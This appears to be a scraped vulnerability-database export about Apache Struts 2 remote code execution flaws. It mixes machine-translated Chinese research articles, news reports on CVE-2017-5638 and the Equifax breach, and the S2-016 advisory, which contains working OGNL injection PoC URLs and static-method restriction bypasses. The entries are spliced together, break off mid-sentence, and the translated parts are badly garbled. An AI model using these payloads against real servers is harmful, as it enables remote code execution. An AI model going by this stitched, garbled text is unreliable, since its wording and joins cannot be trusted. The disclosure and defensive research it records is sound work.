Result/result type: used to select business logic view. \n8\\. View of technology: the processing of data display. \nYou can see below the Apache Struts Web application General architecture: \n! [](/Article/UploadPic/2019-3/201933032655347.jpg) \nController receives the HTTP request, the FilterDispatcher is responsible for according to the request to invoke the right Operation. And then perform the operation, the view component is ready for a result and sends it to the HTTP response in the user. \nStruts application example \nYou want to start from scratch to write a Struts application takes some time, so we will use an already available rest-showcase demo application, which is a basic front-end a simple REST API. To compile the application, we only need to go into its directory and use Maven to compile: \ncd struts-2.3.30/src/apps/rest-showcase/ \nmvn package \nIn the target directory, we can find the following files: struts2-rest-showcase. war. You can copy it to the Tomcat server's webapps directory, for example:/var/tomcat/webapps to install it. \nThe following is the application source code: \n! [](/Article/UploadPic/2019-3/201933032655780. png) \nThe following are the available file description: \n1\\. Order. java is model, which is a storing order information of a Java class. \npublic class Order { \nString id; \nString clientName; \nint amount; \n... \n} \n2\\.

[](/Article/UploadPic/2018-8/2018823153022212.jpg) \n2018 4 months, I to Apache Struts and the Struts security team reported a new remote code execution vulnerability--CVE-2018-11776\uff08S2-057 in to do some configuration on a server running Struts, and can be accessed via the carefully constructed URL to trigger the vulnerability. This discovery is I the Apache Struts ongoing Safety study of part. In this article, I will describe my discovery of a vulnerability and how to exploit the previous vulnerability information to get the Struts internal working of the principle, create a package Struts-specific concept of the QL query. Run these queries will highlight the problematic code results. These works are hosted on GitHub, later we will also to this repository add more query statement and database to help the Struts and other projects of the security research. \n\nMapping the attack surface \nMany security vulnerabilities are addressed from untrusted sources such as user input stream to a particular location of the sink of the data, and the data using an unsafe way-for example, the SQL query, deserialize, and some other interpreted languages, etc., QL can easily search for such vulnerabilities. You just need to describe the various source and sink, and then let the DataFlow library to accomplish these things. For a particular project, began to investigate such issues, a good method is to view the older version of the software known vulnerabilities. This can be in-depth understanding you want to find the source and sink points. \nThis vulnerability discovery process, I first see a RCE vulnerability S2-032\uff08CVE-2016-3081\uff09, S2-033\uff08CVE-2016-3687 and S2-037\uff08CVE-2016-4438-in. With Struts in many other RCE as RCE relates to the untrusted input is converted to OGNL expressions, allowing an attacker on the server to run arbitrary code. These three vulnerabilities are particularly interesting, not only do they let us on the Struts of the internal working mechanism have some understanding, and these three vulnerabilities actually is the same, also repair three back! \nThese three issues are the remote input through the variable methodName as a method of parameter passing caused OgnlUtil::getValue(). \n! [](/Article/UploadPic/2018-8/2018823153022696. png) \nHere the proxy has ActionProxy type, it is an interface. Note that the definition of it, in addition to the method getMethod\uff08\uff09\uff08in the above code is used to assign a value to the variable methodName addition, there are a variety of methods, such as getActionName\uff08\uff09and getNamespace\uff08\uff09\u3002 These methods look like from the URL to return information, so I'll just assume that all of these methods may return untrusted input. The rear of the article I will in depth research I for these the input from where the investigation.\uff09 \nNow use QL to start on these untrusted source modeling: \n! [](/Article/UploadPic/2018-8/2018823153023567. png) \n\nIdentify the OGNL sink point \nNow that we have identified and described some of the non-trusted source, the next step is to sink the point of doing the same thing. As previously mentioned, many of Struts RCE relates to the remote input parsed for OGNL expressions. Struts has many function will eventually be their arguments as OGNL expressions; for we in this article the start of the three vulnerabilities, the use of a OgnlUtil :: getValue \uff08\uff09, but in the vulnerability S2-045\uff08CVE-2017-5638, using TextParseUtil :: translateVariables\uff08\uff09\u3002 We may be looking for execution of OGNL expressions commonly used function, I feel OgnlUtil :: compileAndExecute\uff09and OgnlUtl :: compileAndExecuteMethod\uff08\uff09looks more games. \nMy description: \n! [](/Article/UploadPic/2018-8/2018823153023415. png) \n\nThe first attempt \nNow we have in QL are defined in the source and sink, we can stain the tracking query using these definitions. By defining DataFlow configured to use the DataFlow library: \n! [](/Article/UploadPic/2018-8/2018823153023702. png) \nHere is what I used before defined isActionProxySource and isOgnlSink it. \nNote that I'm here to reload the isAdditionalFlowStep, so that it can allow me to contain the pollution data is propagated to the additional step. Such as allow me to the project-specific information into the flow configuration. For example, if I have by a network of communicating components, I may be in QL as described in those various network-side code is what allows the DataFlow library to track tainted data. \nFor this particular query, I added two additional process steps for the DataFlow library. First: \n! [](/Article/UploadPic/2018-8/2018823153026173. png) \nIt includes tracking the standard Java library calls, string manipulation, etc. of the standard QL TaintTracking library steps. The second Add is an approximate value, allow me to by a field access track tainted data: \n! [](/Article/UploadPic/2018-8/2018823153026186. png) \nThat is if the field is assigned a tainted value, then as long as the two expressions are the same type of method call, the field visit will also be regarded as pollution. See the following example: \n! [](/Article/UploadPic/2018-8/2018823153026144. png) \nSeen from above, the bar in this. field access may not always be contaminated. For example, if in the bar before not to call foo\uff08\uff09\u3002 Therefore, we are not in the default DataFlow :: Configuration contained in this step, because you cannot guarantee that the data always in this manner the flow, however, for digging vulnerabilities, I think adding this very useful. In later posts I will share some of the similar to the other process steps, these steps for find the bug helpful, but for similar reasons, the default case is not included these steps. \n\nThe initial results and Refine the query \nI'm on the latest version of the source code on the run a bit with QL, found that due to the S2-032, S2-033 S2-037 is still marked. These vulnerabilities obviously already been fixed, why still will be reported problem? \n\n\n**[1] [[2]](<91264_2.htm>) [[3]](<91264_3.htm>) [next](<91264_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-08-23T00:00:00", "type": "myhack58", "title": "S2-057 vulnerability in the original author's README: how to use automated tools find 5 RCE-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4438", "CVE-2017-5638", "CVE-2018-11776", "CVE-2016-3687", "CVE-2016-3081"], "modified": "2018-08-23T00:00:00", "id": "MYHACK58:62201891264", "href": "http://www.myhack58.com/Article/html/3/62/2018/91264.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-23T14:31:18", "description": "It is possible to perform a RCE attack when the namespace value isn't set for a result defined in underlying xml configurations and in the same time, its upper action(s) configurations have no or wildcard namespace.

[](/Article/UploadPic/2017-6/201767192643555. png? www. myhack58. com) \nJust a few months ago, a security research expert in Apache Struts2, found a serious security vulnerability, CVE-2017-5638, probably some of you have heard of this thing. This is a remote code execution vulnerability, then Internet in a large number of Web applications are affected by this vulnerability. About three weeks later, researchers released the Struts2 exploit code. \nIn a dig before the Investigative process, I came across the following link: \nhttps://svdevems01.direct.gq1.yahoo.com/sm/login.jsp \nThis is Yahoo the a login page. \n!

Although I know here there is vulnerability, but ready-made exploit code here does not work, so I feel may be a Web application firewall in the mischief, or that some of the things shield my attack. \nSince I was able to determine where there is indeed a vulnerability, so I couldn't stop. But if you want to submit a valid vulnerability, I have to provide a viable PoC to prove this vulnerability is valuable. After a period of research, I found an article tweet this article tweet describes how to pass a Payload to bypass the WAF and be successfully exploited this vulnerability. \nI the use of detection methods require the use of Content-Type HTTP header to send a specially crafted data packet, the header data as shown below: \nContent-Type:%{#context[\u2018com. opensymphony. xwork2. dispatcher.

Organizations and developers who use Apache Struts are urgently advised to upgrade their Struts components as soon as possible. \n \nWe have seen how previous disclosures of similar critical flaws in Apache Struts have resulted in [PoC exploits](<https://thehackernews.com/2017/03/apache-struts-framework.html>) being published within a day, and exploitation of the [vulnerability in the wild](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>), putting critical infrastructure as well as customers' data at risk. \n \nTherefore, users and administrators are strongly advised to upgrade their Apache Struts components to the latest versions, even if they believe their configuration is not vulnerable right now. \n \nThis is not the first time the Semmle Security Research Team has reported a critical RCE flaw in Apache Struts. Less than a year ago, the team disclosed a similar [remote code execution vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) (CVE-2017-9805) in Apache Struts. \n

agency Equifax has been issued a \u00a3500,000 fine by the UK's privacy watchdog for its last year's [massive data breach](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) that exposed personal and financial data of hundreds of millions of its customers. \n \nYes, \u00a3500,000\u2014that's the maximum fine allowed by the UK's Data Protection Act 1998, though the penalty is apparently a small figure for a $16 billion company. \n \nIn July this year, the UK's data protection watchdog issued the maximum allowed fine of [\u00a3500,000 on Facebook](<https://thehackernews.com/2018/07/facebook-cambridge-analytica.html>) over the [Cambridge Analytica scandal](<https://thehackernews.com/2018/03/facebook-cambridge-analytica.html>), saying the social media giant Facebook failed to prevent its citizens' data from falling into the wrong hands. \n \n\n\n## Flashback: The Equifax Data Breach 2017\n\n \nEquifax suffered a massive data breach last year between mid-May and the end of July, exposing highly [sensitive data of as many as 145 million people](<https://thehackernews.com/2017/10/equifax-credit-security-breach.html>) globally. \n \nThe stolen information included victims' names, dates of birth, phone numbers, driver's license details, addresses, and social security numbers, along with credit card information and personally identifying information (PII) for hundreds of thousands of its consumers. \n \nThe data breach occurred because the company failed to patch a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) ([CVE-2017-5638](<https://thehackernews.com/2017/03/apache-struts-framework.html>)) on time, for which patches were already issued by the respected companies. \n \n\n\n## Why U.K. Has Fined a US Company?\n\n \nThe UK's Information Commissioner's Office (ICO), who launched a joint investigation into the breach with the Financial Conduct Authority, has now [issued](<https://ico.org.uk/about-the-ico/news-and-events/news-and-blogs/2018/09/credit-reference-agency-equifax-fined-for-security-breach/>) its largest possible monetary penalty under the country's Data Protection Act for the massive data breach\u2014\u00a3500,000, which equals to around $665,000. \n \nThe ICO said that although the [cyber attack compromised Equifax](<https://thehackernews.com/2017/09/equifax-data-breach.html>) systems in the United States, the company \"failed to take appropriate steps\" to protect the personal information of its 15 million UK customers. \n \nThe ICO investigation revealed \"multiple failures\" at the company like keeping users' personal information longer than necessary, which resulted in: \n\n\n * 19,993 UK customers had their names, dates of birth, telephone numbers and driving license numbers exposed.\n * 637,430 UK customers had their names, dates of birth and telephone numbers exposed.\n * Up to 15 million UK customers had names and dates of birth exposed.\n * Some 27,000 Britishers also had their Equifax account email addresses swiped.\n * 15,000 UK customers also had their names, dates of birth, addresses, account usernames and plaintext passwords, account recovery secret questions, and answers, obscured credit card numbers, and spending amounts stolen by hackers.\n \n\n\n## Breach Was Result of Multiple Failures at Equifax\n\n \nThe ICO said that Equifax had also been warned about a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/03/apache-struts-framework.html>) in its systems by the United States Department of Homeland Security (DHS) in March 2017, but the company did not take appropriate steps to fix the issue. \n \nInitially, it was also reported that the company kept news of the [breach hidden for a month](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) after its internal discovery, giving three senior executives at Equifax time to sell almost $2 million worth of its shares, though the company denied such claims. \n \nSince the data breach happened before the EU's General Data Protection Regulation (GDPR) took effect in May 2018, the maximum fine of \u00a3500,000 imposed under the UK's old Data Protection Act 1998 is still lesser. \n \nThe penalty could have been much larger had it fallen under GDPR, wherein a company could face a [maximum fine of 20 million euros](<https://thehackernews.com/2017/08/data-breach-security-law.html>) or 4 percent of its annual global revenue, whichever is higher, for such a privacy breach. \n \nIn response to the ICO's penalty, Equifax said that the company has fully cooperated with the ICO throughout the investigation that it is \"disappointed in the findings and the penalty.\" \n \nEquifax received the Monetary Penalty Notice from the ICO on Wednesday and can appeal the penalty.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH",

vulnerability in the popular Apache Struts web application framework, which is being actively exploited in the wild. \n \nApache Struts is a free, open-source, Model-View-Controller (MVC) framework for creating elegant, modern Java web applications, which supports REST, AJAX, and JSON. \n \nIn a [blog post](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) published Monday, Cisco's Threat intelligence firm Talos announced the team observed a number of active attacks against the zero-day vulnerability (CVE-2017-5638) in Apache Struts. \n \nAccording to the researchers, the issue is a remote code execution vulnerability in the Jakarta Multipart parser of Apache Struts that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. \n\n\n> \"It is possible to perform an RCE attack with a malicious Content-Type value,\" [warned](<https://cwiki.apache.org/confluence/display/WW/S2-045>) Apache. \"If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.\"\n\nThe vulnerability, documented at Rapid7's Metasploit Framework [GitHub site](<https://github.com/rapid7/metasploit-framework/issues/8064>), has been patched by Apache. So, if you are using the Jakarta-based file upload Multipart parser under Apache Struts 2, you are advised to upgrade to Apache Struts version 2.3.32 or 2.5.10.1 immediately. \n \n\n\n### Exploit Code Publicly Released\n\n \nSince the Talos researchers detected public proof-of-concept (PoC) exploit code (which was uploaded to a Chinese site), the vulnerability is quite dangerous. \n \nThe researchers even detected \"a high number of exploitation events,\" the majority of which seem to be leveraging the publicly released PoC that is being used to run various malicious commands. \n\n\n[](<https://2.bp.blogspot.com/-OMaYI0kDfZk/WME-W6XvmwI/AAAAAAAArtc/4rw52IxHjJYLJOlufdQEoxxQwjYWAbGmQCLcB/s1600/apache-exploit-code.png>)\n\nIn some cases, the attackers executed simple \"whoami\" commands to see if the target system is vulnerable, while in others, the malicious attacks turned off firewall processes on the target and dropped payloads. \n\n\n[](<https://2.bp.blogspot.com/-1fS7Z-ZsPgA/WME-E_vWvTI/AAAAAAAArtY/k_8FmAtSwaU9ICPEjN1gQMTdPHsQSRyFACLcB/s1600/apache-exploit.png>)\n\n \n\n\n> \"Final steps include downloading a malicious payload from a web server and execution of said payload,\" the researchers say. \"The payloads have varied but include an IRC bouncer, a DoS bot, and a sample related to the Bill Gates botnet... A payload is downloaded and executed from a privileged account.\"\n\nAttackers also attempted to gain persistence on infected hosts by adding a binary to the boot-up routine. \n \nAccording to the researchers, the attackers tried to copy the file to a benign directory and ensure_ \"that both the executable runs and that the firewall service will be disabled when the system boots.\"_ \n \nBoth Cisco and Apache researchers urge administrators to upgrade their systems to Apache Struts version 2.3.32 or 2.5.10.1 as soon as possible. Admins can also switch to a different [implementation](<https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries>) of the Multipart parser.\n", "cvss3": {}, "published": "2017-03-09T01:03:00", "type": "thn", "title": "New Apache Struts Zero-Day Vulnerability Being Exploited in the Wild", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-09T12:03:10", "id": "THN:2707247140A4F620671B33D68FEB1EA9", "href": "https://thehackernews.com/2017/03/apache-struts-framework.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-01-27T09:17:53", "description": "[](<https://4.bp.blogspot.com/-7t3BApLnYmI/WdM9FFq_vsI/AAAAAAAAATQ/KVrOmkm6SzoTm_8rLuSGnUbnhJudoRXwwCLcBGAs/s1600/equifax-data-breach.png>)\n\n[Equifax data breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) was bigger than initially reported, exposing highly sensitive information of more Americans than previously revealed. \n \nCredit rating agency Equifax says an additional 2.5 million U.S. consumers were also impacted by the massive data breach the company disclosed last month, bringing the total possible victims to 145.5 million from 143 million. \n \nEquifax last month announced that it had suffered a massive data breach that exposed highly sensitive data of hundreds of millions of its customers, which includes names, social security numbers, dates of birth and addresses. \n \nIn addition, credit card information for [nearly 209,000 customers](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) was also stolen, as well as certain documents with personally identifying information (PII) for approximately 182,000 Equifax consumers. \n \nThe breach was due to a critical vulnerability ([CVE-2017-5638](<https://thehackernews.com/2017/03/apache-struts-framework.html>)) in Apache Struts 2 framework, which Apache patched over two months earlier (on March 6) of the security incident. \n \nEquifax was even [informed by the US-CERT](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) on March 8 to patch the flaw, but the company failed to identified or patched its systems against the issue, Equifax ex-CEO Richard Smith said in a statement [[PDF](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>)] to the House Committee on Energy and Commerce. \n\n\n> \"It appears that the breach occurred because of both human error and technology failures,\" Smith said. \"Equifax's information security department also ran scans that should have identified any systems that were vulnerable to the Apache Struts issue...Unfortunately, however, the scans did not identify the Apache Struts vulnerability.\"\n\nIn the wake of the security incident, the company hired FireEye-owned security firm Mandiant to investigate the breach, which has now concluded the forensic portion of its investigation and plans to release the results \"promptly.\" \n \nMandiant said a total of 145.5 million consumers might now potentially have been [impacted by the breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>), which is 2.5 million more than previously estimated. However, the firm did not identify any evidence of \"new attacker activity.\" \n\n\n> \"Mandiant did not identify any evidence of additional or new attacker activity or any access to new databases or tables,\" Equifax said in a Monday [press release](<https://investor.equifax.com/news-and-events/news/2017/10-02-2017-213238821>). \n\n> \"Instead, this additional population of consumers was confirmed during Mandiant's completion of the remaining investigative tasks and quality assurance procedures built into the investigative process.\"\n\nThe forensic investigation also found that approximately 8,000 Canadian consumers were also impacted, which is much lower than the 100,000 initially estimated figure by the credit rating and reporting firm. \n \nHowever, Equifax said that this figure \"was preliminary and did not materialize.\" \n \n\"I want to apologize again to all impacted consumers.

Injection Vulnerability \nAffected Software: Apache Struts v2.0.0 - 2.3.15 \nCredit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc. \nIssue Status: v2.3.15.1 was released which fixes this vulnerability \nIssue ID by Vender: S2-016 \n \nOverview: \nStruts2 is an open-source web application framework for Java. \nStruts2 (v2.0.0 - 2.3.15) is vulnerable to remote OGNL injection which \nleads to arbitrary Java method execution on the target server. This is \ncaused by insecure handling of prefixed special parameters (action:, \nredirect: and redirectAction:) in DefaultActionMapper class of Struts2. \n \nDetails: \n<About DefaultActionMapper> \n \nStruts2's ActionMapper is a mechanism for mapping between incoming HTTP \nrequest and action to be executed on the server. DefaultActionMapper is \na default implementation of ActionMapper. It handles four types of \nprefixed parameters: action:, redirect:, redirectAction: and method:. \n \nFor example, redirect prefix is used for HTTP redirect. \n \nNormal redirect prefix usage in JSP: \n<s:form action=\"foo\"> \n... \n<s:submit value=\"Register\"/> \n<s:submit name=\"redirect:http://www.google.com/\" value=\"Cancel\"/> \n</s:form> \n \nIf the cancel button is clicked, redirection is performed. \n \nRequest URI for redirection: \n/foo.action?redirect:http://www.google.com/ \n \nResopnse Header: \nHTTP/1.1 302 Found \nLocation: http://www.google.com/ \n \nUsage of other prefixed parameters is similar to redirect. \nSee Struts2 document for details. \nhttps://cwiki.apache.org/confluence/display/WW/ActionMapper \n \n<How the Attack Works> \n \nAs stated already, there are four types of prefixed parameters. \n \naction:, redirect:, redirectAction:, method: \n \nAll except for method: can be used for attacks. But regarding action:, \nit can be used only if wildcard mapping is enabled in configuration. \nOn the one hand, redirect: and redirectAction: are not constrained by \nconfiguration (thus they are convenient for attackers). \n \nOne thing that should be noted is that prefixed parameters are quite \nforceful. It means that behavior of application which is not intended \nto accept prefixed parameters can also be overwritten by prefixed \nparameters added to HTTP request. Therefore all Struts2 applications \nthat use DefaultActionMapper are vulnerable to the attack. \n \nThe injection point is name of prefixed parameters. \nExample of attack using redirect: is shown below. \n \nAttack URI: \n/bar.action?redirect:http://www.google.com/%25{1000-1} \n \nResponse Header: \nHTTP/1.1 302 Found \nLocation: http://www.google.com/999 \n \nAs you can see, expression (1000-1) is evaluated and the result (999) \nis appeared in Location response header. As I shall explain later, \nmore complex attacks such as OS command execution is possible too. \n \nIn DefaultActionMapper, name of prefixed parameter is once stored as \nActionMapping object and is later executed as OGNL expression. \nRough method call flow in execution phase is as the following. \n \norg.apache.struts2.dispatcher.ng.filter.StrutsExecuteFilter.doFilter() \norg.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction() \norg.apache.struts2.dispatcher.Dispatcher.serviceAction() \norg.apache.struts2.dispatcher.StrutsResultSupport.execute() \norg.apache.struts2.dispatcher.StrutsResultSupport.conditionalParse() \ncom.opensymphony.xwork2.util.TextParseUtil.translateVariables() \ncom.opensymphony.xwork2.util.OgnlTextParser.evaluate() \n \nProof of Concept: \n<PoC URLs> \n \nPoC is already disclosed on vender's web page. \nhttps://struts.apache.org/release/2.3.x/docs/s2-016.html \n \nBelow PoC URLs are just quotes from the vender's page. \n \nSimple Expression: \nhttp://host/struts2-blank/example/X.action?action:%25{3*4} \nhttp://host/struts2-showcase/employee/save.action?redirect:%25{3*4} \n \nOS Command Execution: \nhttp://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} \nhttp://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} \nhttp://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} \n \nObviously such attacks are not specific to blank/showcase application, \nbut all Struts2 based applications may be subject to attacks. \n \n<OS Command Execution and Static Method Call> \n \nAnother topic that I think worth mentioning is that PoC URLs use \nProcessBuilder class to execute OS commands. The merit of using this \nclass is that it does not require static method to execute OS commands, \nwhile Runtime class does require it. \n \nAs you may know, static method call in OGNL is basically prohibited. \nBut in Struts2 <= v2.3.14.1 this restriction was easily bypassed by \na simple trick: \n \n%{#_memberAccess['allowStaticMethodAccess']=true, \n@java.lang.Runtime@getRuntime().exec('your commands')} \n \nIn Struts v2.3.14.2, SecurityMemberAccess class has been changed to \nprevent the trick. However there are still some techniques to call \nstatic method in OGNL. \n \nOne technique is to use reflection to replace static method call to \ninstance method call. Another technique is to overwrite #_memberAccess \nobject itself rather than property of the object: \n \n%{#_memberAccess=new com.opensymphony.xwork2.ognl.SecurityMemberAccess(true), \n@java.lang.Runtime@getRuntime().exec('your commands')} \n \nProbably prevention against static method is just an additional layer \nof defense, but I think that global objects such as #_memberAccess \nshould be protected from rogue update. \n \nTimeline: \n2013/06/24 Reported to Struts Security ML \n2013/07/17 Vender announced v2.3.15.1 \n2013/08/10 Disclosure of this advisory \n \nRecommendation: \nImmediate upgrade to the latest version is strongly recommended as \nactive attacks have already been observed. It should be noted that \nredirect: and redirectAction: parameters were completely dropped and \ndo not work in the latest version as stated in the vender's page. \nThus attention for compatibility issues is required for upgrade. \n \nIf you cannot upgrade your Struts2 immediately, filtering (by custom \nservlet filter, IPS, WAF and so on) can be a mitigation solution for \nthis vulnerability. Some points about filtering solution are listed \nbelow. \n \n- Both %{expr} and ${expr} notation can be used for attacks. \n- Parameters both in querystring and in request body can be used. \n- redirect: and redirectAction: can be used not only for Java method \nexecution but also for open redirect. \n \nSee S2-017 (CVE-2013-2248) for open redirect issue. \nhttps://struts.apache.org/release/2.3.x/docs/s2-017.html \n \nReference: \nhttps://struts.apache.org/release/2.3.x/docs/s2-016.html \nhttps://cwiki.apache.org/confluence/display/WW/ActionMapper \n`\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/122796/struts2315ognl-inject.txt"}], "cisco": [{"lastseen": "2023-05-25T14:47:28", "description": "Multiple Cisco products include an implementation of the Apache Struts 2 component that is affected by a remote command execution vulnerability. \n\nThe vulnerability is due to insufficient sanitization of user-supplied\ninput.

This is\r\n caused by insecure handling of prefixed special parameters (action:,\r\n redirect: and redirectAction:) in DefaultActionMapper class of Struts2.\r\n\r\nDetails:\r\n <About DefaultActionMapper>\r\n\r\n Struts2's ActionMapper is a mechanism for mapping between incoming HTTP\r\n request and action to be executed on the server. DefaultActionMapper is\r\n a default implementation of ActionMapper. It handles four types of\r\n prefixed parameters: action:, redirect:, redirectAction: and method:.\r\n\r\n For example, redirect prefix is used for HTTP redirect.\r\n\r\n Normal redirect prefix usage in JSP:\r\n <s:form action="foo">\r\n ...\r\n <s:submit value="Register"/>\r\n <s:submit name="redirect:http://www.google.com/" value="Cancel"/>\r\n </s:form>\r\n\r\n If the cancel button is clicked, redirection is performed.\r\n\r\n Request URI for redirection:\r\n /foo.action?redirect:http://www.google.com/\r\n\r\n Resopnse Header:\r\n HTTP/1.1 302 Found\r\n Location: http://www.google.com/\r\n\r\n Usage of other prefixed parameters is similar to redirect.\r\n See Struts2 document for details.\r\n https://cwiki.apache.org/confluence/display/WW/ActionMapper\r\n\r\n <How the Attack Works>\r\n\r\n As stated already, there are four types of prefixed parameters.\r\n\r\n action:, redirect:, redirectAction:, method:\r\n\r\n All except for method: can be used for attacks. But regarding action:,\r\n it can be used only if wildcard mapping is enabled in configuration.\r\n On the one hand, redirect: and redirectAction: are not constrained by\r\n configuration (thus they are convenient for attackers).\r\n\r\n One thing that should be noted is that prefixed parameters are quite\r\n forceful. It means that behavior of application which is not intended\r\n to accept prefixed parameters can also be overwritten by prefixed\r\n parameters added to HTTP request. Therefore all Struts2 applications\r\n that use DefaultActionMapper are vulnerable to the attack.\r\n\r\n The injection point is name of prefixed parameters.\r\n Example of attack using redirect: is shown below.\r\n\r\n Attack URI:\r\n /bar.action?redirect:http://www.google.com/%25{1000-1}\r\n\r\n Response Header:\r\n HTTP/1.1 302 Found\r\n Location: http://www.google.com/999\r\n\r\n As you can see, expression (1000-1) is evaluated and the result (999)\r\n is appeared in Location response header. As I shall explain later,\r\n more complex attacks such as OS command execution is possible too.\r\n\r\n In DefaultActionMapper, name of prefixed parameter is once stored as\r\n ActionMapping object and is later executed as OGNL expression.\r\n Rough method call flow in execution phase is as the following.\r\n\r\n org.apache.struts2.dispatcher.ng.filter.StrutsExecuteFilter.doFilter()\r\n org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction()\r\n org.apache.struts2.dispatcher.Dispatcher.serviceAction()\r\n org.apache.struts2.dispatcher.StrutsResultSupport.execute()\r\n org.apache.struts2.dispatcher.StrutsResultSupport.conditionalParse()\r\n com.opensymphony.xwork2.util.TextParseUtil.translateVariables()\r\n com.opensymphony.xwork2.util.OgnlTextParser.evaluate()\r\n\r\nProof of Concept:\r\n <PoC URLs>\r\n\r\n PoC is already disclosed on vender's web page.\r\n https://struts.apache.org/release/2.3.x/docs/s2-016.html\r\n\r\n Below PoC URLs are just quotes from the vender's page.\r\n\r\n Simple Expression:\r\n http://host/struts2-blank/example/X.action?action:%25{3*4}\r\n http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}\r\n\r\n OS Command Execution:\r\n http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}\r\n http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}\r\n http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}\r\n\r\n Obviously such attacks are not specific to blank/showcase application,\r\n but all Struts2 based applications may be subject to attacks.\r\n\r\n <OS Command Execution and Static Method Call>\r\n\r\n Another topic that I think worth mentioning is that PoC URLs use\r\n ProcessBuilder class to execute OS commands. The merit of using this\r\n class is that it does not require static method to execute OS commands,\r\n while Runtime class does require it.\r\n\r\n As you may know, static method call in OGNL is basically prohibited.\r\n But in Struts2 <= v2.3.14.1 this restriction was easily bypassed by\r\n a simple trick:\r\n\r\n %{#_memberAccess['allowStaticMethodAccess']=true,\r\n @java.lang.Runtime@getRuntime().exec('your commands')}\r\n\r\n In Struts v2.3.14.2, SecurityMemberAccess class has been changed to\r\n prevent the trick. However there are still some techniques to call\r\n static method in OGNL.\r\n\r\n One technique is to use reflection to replace static method call to\r\n instance method call. Another technique is to overwrite #_memberAccess\r\n object itself rather than property of the object:\r\n\r\n %{#_memberAccess=new com.opensymphony.xwork2.ognl.SecurityMemberAccess(true),\r\n @java.lang.Runtime@getRuntime().exec('your commands')}\r\n\r\n Probably prevention against static method is just an additional layer\r\n of defense, but I think that global objects such as #_memberAccess\r\n should be protected from rogue update.\r\n\r\nTimeline:\r\n 2013/06/24 Reported to Struts Security ML\r\n 2013/07/17 Vender announced v2.3.15.1\r\n 2013/08/10 Disclosure of this advisory\r\n\r\nRecommendation:\r\n Immediate upgrade to the latest version is strongly recommended as\r\n active attacks have already been observed. It should be noted that\r\n redirect: and redirectAction: parameters were completely dropped and\r\n do not work in the latest version as stated in the vender's page.\r\n Thus attention for compatibility issues is required for upgrade.\r\n\r\n If you cannot upgrade your Struts2 immediately, filtering (by custom\r\n servlet filter, IPS, WAF and so on) can be a mitigation solution for\r\n this vulnerability. Some points about filtering solution are listed\r\n below.\r\n\r\n - Both %{expr} and ${expr} notation can be used for attacks.\r\n - Parameters both in querystring and in request body can be used.\r\n - redirect: and redirectAction: can be used not only for Java method\r\n execution but also for open redirect.\r\n\r\n See S2-017 (CVE-2013-2248) for open redirect issue.\r\n https://struts.apache.org/release/2.3.x/docs/s2-017.html\r\n\r\nReference:\r\n https://struts.apache.org/release/2.3.x/docs/s2-016.html\r\n https://cwiki.apache.org/confluence/display/WW/ActionMapper\r\n\r\n", "cvss3": {}, "published": "2013-09-09T00:00:00", 